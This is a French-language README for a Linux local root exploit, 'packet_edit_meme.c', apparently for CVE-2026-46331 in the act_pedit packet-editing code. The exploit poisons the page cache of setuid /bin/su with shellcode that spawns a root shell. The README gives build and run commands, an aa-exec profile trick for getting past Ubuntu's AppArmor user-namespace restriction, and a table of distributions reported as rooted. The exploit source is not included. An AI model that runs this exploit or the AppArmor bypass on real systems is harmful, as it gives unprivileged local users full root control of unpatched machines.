
PACKET_EDIT_MEME.c (alias CVE-2026-46331) : encore un cauchemar d'empoisonnement du cache de pages
net/sched act_pedit corruption partielle du cache de pages par COW (coupable 899ee91156e5, présent v5.18 .. corrigé v7.1-rc7). packet_edit_meme.c le transforme en root local non privilégié : un enfant userns CAP_NET_ADMIN écrase l'entrée ELF en cache du /bin/su setuid-root avec du shellcode setgid(0)+setuid(0)+execve("/bin/sh").
make
./packet_edit_meme
./packet_edit_meme --ubuntu # AppArmor-gated Ubuntu: aa-exec bypass first
| Distribution | Noyau | Option | Résultat |
|---|---|---|---|
| RHEL 10.0 | 6.12.0-228.el10 | (aucun) | ROOT |
| Debian 13 trixie | 6.12.90+deb13.1 | (aucun) | ROOT |
| Ubuntu 24.04.4 | 6.17.0-22 | --ubuntu | ROOT |
| Ubuntu 26.04 | 7.0.0-14-generic | --ubuntu | ÉCHEC |
RHEL / Debian : l'userns non privilégié est ouvert par défaut, aucune option n'est nécessaire. RHEL n'inclut pas cls_basic / em_meta, donc la primitive retombe automatiquement sur matchall.
Ubuntu interdit les userns non privilégiés non confinés via deux sysctls :
kernel.apparmor_restrict_unprivileged_userns # denies unconfined userns creation
kernel.apparmor_restrict_unprivileged_unconfined # forces unconfined change_profile to STACK,
# so an aa-exec permissive profile cannot
# shed the userns restriction
--ubuntu se ré-exécute via aa-exec -p {trinity,chrome,flatpak} (des profils qui portent une règle userns,).
24.04.4 : userns=1, unconfined=0 -> aa-exec bypass WORKS
26.04 : userns=1, unconfined=1 -> aa-exec bypass CLOSED